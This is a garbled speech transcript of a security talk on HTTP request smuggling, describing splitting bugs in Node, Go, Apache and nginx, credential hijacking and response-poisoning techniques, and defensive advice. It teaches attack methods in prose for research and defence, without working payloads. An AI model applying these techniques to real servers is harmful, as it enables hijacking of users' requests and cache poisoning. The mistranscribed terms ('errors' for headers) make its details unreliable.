 So we are all set. Let's learn about HTTP. Let's give our uh rather nervous speaker a uh big round of applause and make him feel comfortable. Okay so we should add some demo but maybe it won't work. Uh no demo. Mike. Mike. Like this. Okay. So it's Sunday morning. I hope you are all well. Enough. So this would be about HTTP. So why Wookie's? Um Wookie's because this is about smuggling and Wookie's are smugglers. And uh also because the Wookie language is a thing uh quite hard to understand. Um easy to misinterpret. So this was the nice thing for HTTP or so. So what are we gonna talk about? Um something about the HTTP that you need to know. Uh what is HTTP injection? Uh some recent some some recent attack vectors. HTTP 0.9 which is an old versions. Uh maybe not the demo you would get to trust me. And uh maybe we talk about the tool I wrote which is called HTTP Wookie. So who am I? Uh Regilereau because it's French. Um French. Um yes it's not Wookie but maybe sometimes you won't understand my words. Uh I would I work on the very small French uh free software web company which is called Mike and I Corpus. Uh 50 people. I'm a DevOps. I've always been a DevOps. So it means I'm a sysadmin and I'm a developer. Um web security is just a very small part of my job and it's part of my spare time also. And this is important because if I can do it on my spare time uh some other people might be doing it uh better than me. So why did I start testing my tools? Uh I work every day with open source HTTP servers. And I like these tools a lot. Um I use to trust these tools a lot. But I found two very interesting papers. The first one is HTTP Hostile real world attacks. And this is about uh very old stuff in HTTP which is the absolute jury in location. Um there are some tricks with this so you can attack the host header on HTTP. And there are real uh threats with these sorts of attacks. Um 2015 for example. The other one is a studio from 10 years ago, 11 years ago which is HTTP smuggling. And everything is inside. Most of the things I can tell you today are already inside. But it's like everyone forgot it. So what is HTTP smuggling? Uh it's protocol level attack. So it's injection. And everything always is injection. Here we are gonna inject HTTP in HTTP. So we're gonna have more requests or more responses than we should. Um to do this we craft low level HTTP messages. By definition you cannot do this with a browser on or an HTTP library. Because um they do not make mistakes. So the goal is to make mistakes. Um when you make mistakes usually you get errors. But not always. So before we start the first things on HTTP is the very old version of HTTP was one TCPP connection for each resource. Like you want a file, you want an image, you want a CSS file, you need one new TCPP IP connection for each resource. Then you do the since in act, act thing. You make your request, you get your response. And then you try to close the TCPP connection on their problems when you try to close because we are not sure you get the answer. Um this is a big performance killer of course because you may need a lot of TCPP IP connection. So they may keep live on HTTP one on one. That is you reuse the same connection. Um when you get your response you can make another request. You get a new response and you make another request. And you can in fact you can usually your browser will use 60 TCPP IP connection and do this. And unless you're using HTTP 2 it's what you are. Um there's also something that most people doesn't know that's pipelines. So instead of waiting for each response before doing the next query you can send every query and wait for the every responses. On the example you can see that I made four queries and I get three response only which is a load. But the important thing is the other of the responses. So if one of the response is huge you get to wait for this response before having the next one. So this is called out of line blocking and this is also a performance problem. And this is one of the reasons of HTTP 2. And the other reason of HTTP 2 is smuggling. Because you depend only on the order of the messages. Um in HTTP 2 you've got a real binary multiplexing thing where each response can be associated with the request and it's better. So you can see that if you get a reverse proxy like an SSL terminator or reverse proxy cache the things if you make a pipeline to the reverse proxy the reverse proxy will talk to the back end without the pipeline. It will make just a simple um HTTP 1.0 or 1.1 keep a live connection but it will not use a pipeline when it talk to the back end. The problem is the back end doesn't know that there's no pipeline. So if you can make the reverse proxy play something which looks like a pipeline the back end may see several requests. And send several response but the reverse proxy doesn't want several responses. This is smuggling. Um you've got one example here where I send something which should be only one query. The final um step as a splitting issue so no you've got two queries and you've got one extra response and the problem is on the question mark. What do you do when you've got one extra response? And you've got two type of things which are the transmitter which transmit the bad syntax. And you've got the splitter which splits on these bad syntax. And the two are problem problems but the splitter is a real problem. So why do you do HTTP smuggling? Maybe just because you want to hide a query. So maybe the reverse proxy would like to prevent this sort of query to happen but it doesn't see the query. Uh you can make crash. You can crash a lot of things when bad syntax are used. You can try to shift the response stream like um if you insert one extra response on the pipeline. You may really shift the stream and do cache poisoning. And you may also try to attack another user credentials on HTTP by using incomplete queries. Um this is uh the thing on the on the demonstration. All these things are described in 2005 already. So we also need exploits. Oh. Mm hmm. It's not me. It's the Mac. It's my day. So the exploits, it's all about size because we are in the pipeline. We have got, we've got several messages in the pipeline. Each one has its own size. So the goal is to alter, alter the size. You can make double content length errors so people doesn't know which one is the right one. And this is strictly forbidden. You can play with content length and chunked transmission and you should not play with both. Um on chunked transmission you do not have a length for your message. You say I will send things and when you see the end of chunk marker it's the end of the message. Uh you could use invalid errors or invalid values like the content length with the space is not a valid error. Uh you could use also invalid end of lines. Like the first one the real end of line is CRLF. You could try to use LF or so it's almost valid. But CR is not valid as an end of line. Um you could also try to use very old features of HTTP which are still there. Like HTTP 0.9, like multi line errors which are in the RFC. So the first demo um at least you can read the thing. Um yeah this should make an adjacking credential exploit. So here you've got some real world uh exploitation. Like this was working on Node before the version 5.6. It's a splitting issue. Um you should always have CRLF for for end of line. But for Node if you have the CR they fault that. They do not need to read the next character because it's always LF. But if it's not you've got a problem. So on on the example you've got the dummy error and then you've got the CR on a Z character which is not on LF on any other thing. So for everybody this is just one error which is dummy error. CRZ transparent calling chunked. It means nothing. But for Node there are two errors. The first one is dummy error which means nothing. And then there's a transparent calling error. So for everybody this request is one request and in blue you've got the body of the request. And you can make a get request with a body. It's allowed. So this is just one request with a binary body that nobody reads. But for Node you've got transparent calling chunked. Um there's a priority and chunked always has the priority on content length. So it doesn't it does not read content length. It reads chunked. And the first bytes of the body is the end of chunk marker. So after the end of chunk marker you've got a new request in a pipeline. You've got a post request. And this post request is please delete user 2. Um there's another thing on the second request. There's a partial error at the end. So um it's an untaminated post request. Node is still waiting for the end of this request. So what could happen? If you've got a reverse proxy in front of Node with a couple of connections with Node. Um the first proxy get the first response like you think is thinking this is one query. I need one response. So you get one response. Then Node is just waiting for a second query. And another user like the admin user is there. Sends a query, any query. And the query gets appended to the untaminated one. With the new user credentials like the cookie like an HTTP authentication credential. And then the admin user is doing a post user delete 2. Without requesting it. So uh I cannot show you because there are problems with the screens. But at least I can show you uh what happens. Um I'm the attacker. Uh I send a request to varnish which is a reverse proxy cache. And this request is the request you just saw. Like in fact two requests but it's just one. Um the request goes to Node. Node has a splitting issue. So it's in no things. There are two requests. And it sends back one response. Then another user came for uh new request which is request C. Varnish re-users a couple of connections with the back end. So send the request C which is appended to the untaminated request. And then it gets response B. Which was my hidden request. Um the user 2 is deleted. Uh only if you do not have um CSRF protection on the post request. So this is a way to run this attack. It's just a request I run it. So it's uh on Linux with a printf and netcat. Just to put the contents in a TCP IP connection. And I do it uh 150 times just to feed every varnish um TCP IP connection. Uh in the pull off back end connection with uh Node. And it works. Believe me. You can try. You've got everything on the CD if you want to try. It worked um before it was fixed on Node. Um there was a second demo. Um on this one is about HTTP 0.9. So HTTP 0.9 is something awful which should not exist. Uh it was the very very first version of HTTP. Where you do not have any errors. So you've got an example of what is HTTP 0.9 1.0 and 1.1. On 0.9 you do not have the protocol version. You just the method on the location. And no errors. No errors. It means also no errors on the response. But the security of HTTP is in the errors. Like the content type, the cookies, the content security policies, the content length. Everything is on the errors. On HTTP 0.9 you've got just the body of the answer. So it's just text stream. Um if you've got a text stream maybe you can make this text stream looks like a real HTTP response with errors. So for example you could make an image. And the content of the image instead of being a binary thing would be uh an HTTP response with errors. And if you requested this image in 0.9 mod it would be made looks like an HTTP response. You could also try to hide uh these parts, these HTTP message in the exit data of the image. And make a round query to get only this part of the image. So you get a real image. And if you request the right part of the image you've got an HTTP response. But you should not be able to do a round request in HTTP 0.9 mod. So another, another program uh is the no cache poisoning. Like maybe you know about cache poisoning in HTTP. But for cache poisoning you need the cache. No cache poisoning is in fact socket poisoning. Like take TCP, TCP IP sockets and you hide the response on the sockets. Um another user when the socket is reused get the response. So this is a real thing on FHG for example. So this was the thing we could try. Like here we've got uh a splitting issue on Go. Uh where Go is fixing your um your syntax. Like transfer encoding with a space is fixed as transfer dash encoding. Uh so for everyone the line transfer encoding chunked means nothing. But for Go it's a real line. So same as before the blue part uh is no new request. Um there's the no cache poisoning we use it. Uh there's another bug on uh Go which is that we can ask for HTTP 0.9 which does not exist. And this makes a 0.9 query. It should not work this way. And there's a third bug on Go where we can make a round query in 0.9 mod. It should not exist because in 0.9 mod we should not read the request errors. So you make a request uh with a splitting issue on the Go long reverse proxy for example. Yeah I've got an Apache reverse proxy which transmits the request to Go. I've got a splitting issue on Go so Go is doing this request um uh against engineings. It targets an image and takes only the HTTP part of this image which gets back in HTTP 1.1 mod. But for Go it's an HTTP 0.9 request. So it removes the errors of the response and sends you back the real thing. Um it's hard to understand with the demonstration but it works. It means I can um request with the Go an HTTP response which is in an image on a server. Um inject this response on the streams of response. But there's another problem for Apache if we get back there was only one request. And it gets one response. Then there's a new response which scans back which was the response hidden in the image. And for Apache there's nothing to do with this response so nothing's happened and the response is stored on the TCP IP connection. Then when a new request is coming for Apache from anybody, Apache reuse the same TCP IP connection with a backend, send a new request and a read on the TCP IP connection to see maybe I have a response inside and you see that he has a response and takes it and send it back to the user. Just before getting the real response which was A no you should not reuse this connection. This is an RST on TCP IP because there was a 0.9 response so you should not reuse the connection. But it's too late. The message was stored and was sent back to the user. So you can store a response in Apache and get this response with maybe an XSS or maybe everything you want like any header you want, any content security policy header and send it back to every user. So this is the way to do it if you want. You need to run a lot of requests because you need to feed every TCP IP connection. And I cannot show it to you but it works. What can I say? But the real problem on these things are the splitting issues. If we get back just a little here, this is the real problem on go and it's fixed now. As soon as you have a splitting issue bad things happens like having an extra response sends back and for a page the fact that you've got the no-cash poisoning is a public issue. It's not a security issue because they consider that there was a security issue for go. There was a splitting issue and what happens after that is not their problem. It's a little their problem but it's complex to manage if you think that the back end is doing bad things you cannot do anything. So for every splitting issue you should get a CVE because for me it's quite critical but usually project leaders do not like doing CVE on these things or maybe sometimes they do not understand how you can exploit the injection because also they do not want people to try to do things with these issues. The other issues are transmission of the strong syntax. Like I had something which is quite very strong syntax like transfer encoding with a space. You should not have any error with a space in the error title. And a reverse proxy could detect that this error is invalid and could reject your query but usually they do not do this. So there's a big problem of responsibility because everyone is trusting every other one and no one wants to take the full responsibility of the problems on things which looks like smaller things. For security researcher warning you will not earn money with a HDP smuggling because you cannot test it like an XSS thing. You cannot take a big infrastructure and try to break everything because you won't be the only one impacted on this. You may crash everything, you may send back response to people that have nothing to do with you. So it's very hard to test on public servers. I earned one bounties with a go long issue from Google but it was unexpected and it's very hard to usually explain to people that maybe they should have got their servers. The other thing is that we should have more people reading the code of HTTP servers. Like there are a lot of issues which are still there. We need people which really do not trust blindly the code. Things get better. Years after years the issue gets fixed and you should really try to upgrade to avoid problems. Some other exploits maybe because we cannot see demos so we can take time on exploits. I had some exploits on engineings like there are integrals overflows. This cannot be used with engineings as a reverse proxy but if you got engineings as a back end you can try strange things with very long numbers. This was fixed last year. There's another issue which is fixed only in currently which is a 0.9 downgrade using HTTP 65536.9 or .8 where you can even use a post on this is a 0.9 query for engineings. So you get no errors in the response. This is usually not transmitted by the reverse proxy to engineings. Like you need to exploit this sort of things. You need to get engineings as a back end and you need a reverse proxy which transmit these bad syntax and this usually doesn't happen but in the past HAProxy was transmitting these two engineings. HAProxy is one of the best HTTP tools against smuggling. Another one here it's a severe against varnish. We are the CIRA and the offline was valid and you could also use double content line failures. There's another one but I can't remember what I can't read it. And another one on HAPachy. Like it's on the chunk size attribute. So when you do chunk transmission you've got chunks with the size. There was a chunk issue like only the 31 first character are reads. There was a chunk issue. So you can use the work writer and try to alter the size of the chunks. This is now fixed of course. There are all the other exploits I showed previously in go in HAPachy like the nutcache poisoning in NUD. And there's also other people which fix overflows like we had one in the Python URL lead recently. And on NUD there were overs. So how do you protect against this? The first thing is to use the last RFC which is 72.30. And a lot of people are still using the very old RFC for HTTP one on one which is really very, very old. You should really try to reread the RFC because on this new version there are a lot of things against smuggling. Like they said you should try to avoid chunk and content length. You should really avoid rewriting your own reverse proxy because it's a very hard stuff but in case of if one day you try to write a reverse proxy, the goal of the reverse proxy is to rewrite all headers in a very clean way. Do not take blindly the headers I sent and give it to a backend. You should try to read books on TCP IP socket connection because it looks like something like an abstraction which is simple but in fact it's really not simple. You should also think about browser and browser do not make HTTP errors. A lot of HTTP servers are still allowing a lot of things like HTTP 0.9 because of monitoring tools which use 0.9 or because of bots or because of bad implementation on the wide but I think you should reject bad implementation and you should restrict what you allow in HTTP. You should be interirond. And this is one of the problems. There is this sentence which was in general an implementation should be conservative and it's sending behavior on liberal and it's receiving behavior but maybe it's wrong. Maybe the right thing is not being liberal it's being robust. Like you should think that you may get some bad things and you should handle this thing. Maybe you need a special error message maybe but do not fix the things blindly. And there's a new RFC which is called Draft Stompson Posted was wrong which is talking about this thing. We should not be interirond on the protocol implementation. I think also that you should be able to get more option on the HTTP server configuration. Like you should say I do not want to support HTTP 0.9 because even today you may get an HTTP 2 server in Go for example. You've got very nice HTTP 2 server but there's still the HTTP 0.9 support inside. And you should also be able to get the keep alive thing without the pipelining. So there's no option to say there's no pipelining on the server. You could also try to get back to HTTP 1.0 but you get some problems of performance. You may also think, I was thinking this, that adding a reverse proxy will secure your installation and maybe in fact it's the contrary. Every time you add another layer maybe you add another issue. The reverse proxy trusts the backend response and it's the way it works and we never think it works this way. It means if you've got the reverse proxy and you've got the backend with the PHP application and you let everyone write PHP application, everyone can break your reverse proxy simply by sending several responses. So the reverse proxy will always trust the things from the backend and we do not think this is the case. Think about things like asia proxy because it's a very good tool to remove everything which is strange. Engines as a reverse proxy is also quite nice. The next APH in what proxy will have the strict protocol option which is nice. Is HTTPS protection? No. It's just a layer so it's not full protection because it's a side after the SSL thing, you've got just HTTP 1.1 and maybe when you add an SSL terminal you just added one another HTTP server. But HTTPS is great of course. Is HTTP 2 protection? Yes of course it's better against smuggling but you can always ask HTTP 1.1 for an HTTP 2 server. It's just another transport layer. Just the last thing, I wrote a tool which is called HTTP Wookie. It's an open source tool. I will release it today or maybe tomorrow with a test. The goal of this thing is to test reverse proxy implementations and to fuzz HTTP. I need to remove some of the tests which are not fixed yet everywhere. But if you need to fuzz your own server you could use this tool. If you got any question I would be outside. And that's it. And thanks for everyone.